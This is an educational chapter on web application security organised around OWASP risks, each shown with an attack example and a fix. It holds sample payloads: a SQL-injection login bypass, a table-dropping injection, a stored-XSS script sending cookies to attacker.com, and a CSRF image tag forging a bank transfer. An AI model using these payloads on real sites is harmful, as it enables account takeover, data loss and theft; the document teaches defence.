Web Application Security

Web applications are programs accessed through a browser — online banking portals, shopping sites, email platforms, government services, and social media. Because web applications handle sensitive data and are accessible to anyone with an internet connection, they are a prime target for attackers. Web application security focuses on finding and fixing weaknesses in these applications before attackers can exploit them.

The Open Web Application Security Project (OWASP) is a non-profit organization that publishes a list of the top 10 most critical web application security risks. This topic covers the most important vulnerabilities from that list.

How a Web Application Works

WEB APPLICATION STRUCTURE:

[USER BROWSER]
     │
     │ HTTP/HTTPS Request (clicks, form submissions, searches)
     ▼
[WEB SERVER]  ──► [APPLICATION LOGIC]  ──► [DATABASE]
     │
     │ HTTP/HTTPS Response (webpage, data, results)
     ▼
[USER BROWSER] (sees the result)

ATTACK POINTS:
  ① Between browser and server (network attacks)
  ② At the web server (injection, misconfigurations)
  ③ In the application logic (broken auth, access control flaws)
  ④ At the database (SQL injection)

Vulnerability 1: SQL Injection (SQLi)

SQL Injection is one of the oldest and most dangerous web vulnerabilities. A web application often uses a database to store user data. When a user submits a form (like a login form), the application builds an SQL query to check the database. If the application does not properly sanitize user input, an attacker can inject their own SQL commands through the input field and manipulate the database directly.

NORMAL LOGIN FLOW:

User types: Username: admin  |  Password: secret123
Application builds SQL query:
  SELECT * FROM users WHERE username='admin' AND password='secret123'

Database checks → finds matching record → Login GRANTED

SQL INJECTION ATTACK:

Attacker types in Username field: admin' OR '1'='1
Application builds query:
  SELECT * FROM users WHERE username='admin' OR '1'='1' AND password=''

'1'='1' is ALWAYS TRUE → Query returns ALL users → Login GRANTED without password!

Worse SQL Injection: Typing "; DROP TABLE users; --" deletes the entire user database.

How to Prevent SQL Injection

• Parameterized queries (Prepared Statements) – Separate the SQL command from the user data. The database treats user input as data only, never as executable code.
• Input validation – Reject input containing SQL special characters like single quotes, semicolons, and double dashes.
• Least privilege for database accounts – The web application should use a database account with minimal permissions.

Vulnerability 2: Cross-Site Scripting (XSS)

XSS occurs when an attacker injects malicious JavaScript code into a web page that other users then view. When the victim's browser loads the page, it executes the injected script. The script can steal cookies, redirect users to fake sites, or capture keystrokes.

STORED XSS ATTACK:

Step 1: A forum website allows users to post comments
Step 2: Attacker posts this as a comment:
        <script>document.location='http://attacker.com/steal?c='+document.cookie</script>
Step 3: Website stores the comment in the database without sanitizing
Step 4: Any user who views the comment page — their browser executes the script
Step 5: The script sends the user's session cookie to the attacker's server
Step 6: Attacker uses the stolen cookie to impersonate the victim (session hijacking)

How to Prevent XSS

• Output encoding – Convert special HTML characters before displaying user input. A less-than sign ( < ) displayed as &lt; on screen cannot execute as code.
• Content Security Policy (CSP) – A browser instruction that only allows scripts from approved sources to run on the page.
• Input validation – Strip or reject HTML tags and JavaScript from user input fields.

Vulnerability 3: Broken Authentication

Authentication vulnerabilities allow attackers to compromise passwords, session tokens, or other authentication mechanisms. If an application does not implement authentication correctly, attackers bypass the login gate entirely.

COMMON BROKEN AUTHENTICATION WEAKNESSES:

① No lockout after failed logins
   → Attacker can try millions of passwords (brute force) without restriction

② Weak session tokens
   → Session ID is predictable (e.g., user_session_1, user_session_2)
   → Attacker guesses the next ID and hijacks a logged-in session

③ Insecure "Forgot Password" flow
   → Password reset link sent via plain HTTP
   → No expiry on reset link (attacker can use it days later)

④ Storing passwords in plaintext
   → Database breach reveals ALL passwords immediately

Vulnerability 4: Insecure Direct Object Reference (IDOR)

IDOR occurs when an application exposes internal object references — like database IDs — in URLs or parameters, and does not verify whether the requesting user has permission to access that object.

IDOR ATTACK EXAMPLE:

Normal user views their invoice:
  URL: https://shop.com/invoice?id=1042

User changes id to 1041:
  URL: https://shop.com/invoice?id=1041

Application checks: "Does this user have permission to see invoice 1041?"
NO CHECK IS DONE → Application returns someone else's invoice

Attacker loops through IDs (1001, 1002, 1003...) and downloads all invoices.

FIX: Always verify that the logged-in user owns the requested object before returning it.

Vulnerability 5: Security Misconfiguration

Security misconfiguration is the most common vulnerability and involves poorly configured security settings across servers, databases, cloud services, and applications. Default settings are often permissive. Forgotten test pages, exposed admin panels, and enabled error messages that reveal server details all create easy entry points for attackers.

SECURITY MISCONFIGURATION EXAMPLES:

① Default admin panel accessible: https://website.com/admin  (no IP restriction)
② Directory listing enabled: https://website.com/uploads/ shows all uploaded files
③ Detailed error messages: "MySQL error: Table 'users' doesn't exist" reveals database info
④ Default database credentials: username=root, password=  (blank)
⑤ Unused ports open: Server has FTP open on port 21 but no one uses FTP anymore

Vulnerability 6: Sensitive Data Exposure

Applications that handle sensitive data — credit cards, medical records, passwords — must protect that data both in storage and during transmission. Failures include transmitting data over unencrypted HTTP, storing passwords without hashing, or keeping sensitive data in browser logs and error messages.

SENSITIVE DATA EXPOSURE:

WRONG: Credit card page loads over HTTP:
  http://shop.com/checkout
  Card number travels as plaintext → Anyone sniffing the network reads it

RIGHT: Credit card page loads over HTTPS:
  https://shop.com/checkout
  Card number encrypted → Sniffed data is unreadable gibberish

WRONG: Database stores passwords in plaintext:
  username="priya" | password="Summer@2024"
  Database breach → all passwords instantly exposed

RIGHT: Database stores salted SHA-256 hashes:
  username="priya" | password_hash="8a3f7b9c2d..."
  Database breach → hashes alone useless without cracking

Vulnerability 7: Cross-Site Request Forgery (CSRF)

CSRF tricks an authenticated user's browser into sending a malicious request to a trusted website without the user's knowledge. The website cannot tell the difference between a request the user intentionally made and a forged one — because both carry the user's valid session cookie.

CSRF ATTACK EXAMPLE:

Step 1: User logs into their bank (session cookie stored in browser)
Step 2: Same user visits a different, malicious website
Step 3: Malicious website contains hidden HTML:
         <img src="https://bank.com/transfer?to=attacker&amount=5000">
Step 4: Browser loads the page and makes the request — automatically sending bank session cookie
Step 5: Bank sees valid session cookie → executes the transfer → Rs. 5,000 sent to attacker

FIX: Banks use CSRF tokens — unique, unpredictable values in every form.
     Forged request cannot guess the token → bank rejects it.

OWASP Top 10 Quick Reference

Web application security protects the applications people use every day. The data those applications handle — personal details, health records, financial information — must also be protected independently of the application itself. That is the focus of the next topic: data protection and privacy.